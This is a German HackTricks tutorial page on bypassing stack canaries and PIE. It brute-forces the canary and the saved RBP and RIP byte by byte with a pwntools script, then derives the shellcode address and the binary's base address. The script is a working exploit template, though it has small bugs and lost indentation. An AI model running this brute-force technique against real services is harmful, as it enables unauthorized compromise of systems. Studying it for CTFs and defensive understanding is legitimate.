BF Addresses in the Stack

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Wenn Sie es mit einem durch einen Canary und PIE (Position Independent Executable) geschützten Binärprogramm zu tun haben, müssen Sie wahrscheinlich einen Weg finden, um diese zu umgehen.

Beachten Sie, dass checksec möglicherweise nicht feststellt, dass ein Binärprogramm durch einen Canary geschützt ist, wenn es statisch kompiliert wurde und nicht in der Lage ist, die Funktion zu identifizieren. Sie können dies jedoch manuell feststellen, wenn Sie feststellen, dass ein Wert am Anfang eines Funktionsaufrufs im Stack gespeichert wird und dieser Wert vor dem Verlassen überprüft wird.

Brute-Force-Adressen

Um PIE zu umgehen, müssen Sie eine Adresse leaken. Und wenn das Binärprogramm keine Adressen leakt, ist es am besten, den RBP und RIP, die im Stack gespeichert sind, im anfälligen Funktionsteil zu brute-forcen. Wenn beispielsweise ein Binärprogramm sowohl durch einen Canary als auch durch PIE geschützt ist, können Sie damit beginnen, den Canary zu brute-forcen, dann werden die nächsten 8 Bytes (x64) das gespeicherte RBP und die nächsten 8 Bytes das gespeicherte RIP sein.

Es wird angenommen, dass die Rückgabeadresse im Stack zum Hauptcode des Binärprogramms gehört, was in der Regel der Fall ist, wenn die Schwachstelle im Binärcode liegt.

Um den RBP und den RIP des Binärprogramms zu brute-forcen, können Sie feststellen, dass ein gültig geratenes Byte korrekt ist, wenn das Programm etwas ausgibt oder einfach nicht abstürzt. Die gleiche Funktion, die für das Brute-Forcen des Canary bereitgestellt wird, kann verwendet werden, um den RBP und den RIP zu brute-forcen:

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

Das Letzte, was Sie benötigen, um den PIE zu umgehen, ist die Berechnung nützlicher Adressen aus den durchgesickerten Adressen: dem RBP und dem RIP.

Vom RBP aus können Sie berechnen, wo Sie Ihren Shellcode im Stack schreiben. Dies kann sehr nützlich sein, um zu wissen, wo Sie den String "/bin/sh\x00" im Stack schreiben werden. Um den Abstand zwischen dem durchgesickerten RBP und Ihrem Shellcode zu berechnen, setzen Sie einfach einen Haltepunkt nach dem Durchsickern des RBP und überprüfen, wo sich Ihr Shellcode befindet, dann können Sie den Abstand zwischen dem Shellcode und dem RBP berechnen:

INI_SHELLCODE = RBP - 1152

Vom RIP aus können Sie die Basisadresse der PIE-Binärdatei berechnen, die Sie benötigen, um eine gültige ROP-Kette zu erstellen. Um die Basisadresse zu berechnen, führen Sie einfach objdump -d vunbinary aus und überprüfen Sie die zuletzt disassemblierten Adressen:

In diesem Beispiel sehen Sie, dass nur 1 Byte und eine Hälfte benötigt werden, um den gesamten Code zu lokalisieren. Die Basisadresse in dieser Situation wird also der ausgelaufene RIP, endend auf "000" sein. Wenn Sie beispielsweise 0x562002970ecf geleakt haben, ist die Basisadresse 0x562002970000.

elf.address = RIP - (RIP & 0xfff)

Verbesserungen

Gemäß einiger Beobachtungen aus diesem Beitrag ist es möglich, dass der Server beim Auslaufen der RBP- und RIP-Werte nicht abstürzt, wenn einige Werte, die nicht die richtigen sind, übermittelt werden, und das BF-Skript denkt, dass er die richtigen erhalten hat. Dies liegt daran, dass es möglich ist, dass einige Adressen es einfach nicht brechen, auch wenn es nicht genau die richtigen sind.

Gemäß diesem Blog-Beitrag wird empfohlen, eine kurze Verzögerung zwischen den Anfragen an den Server einzuführen.

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated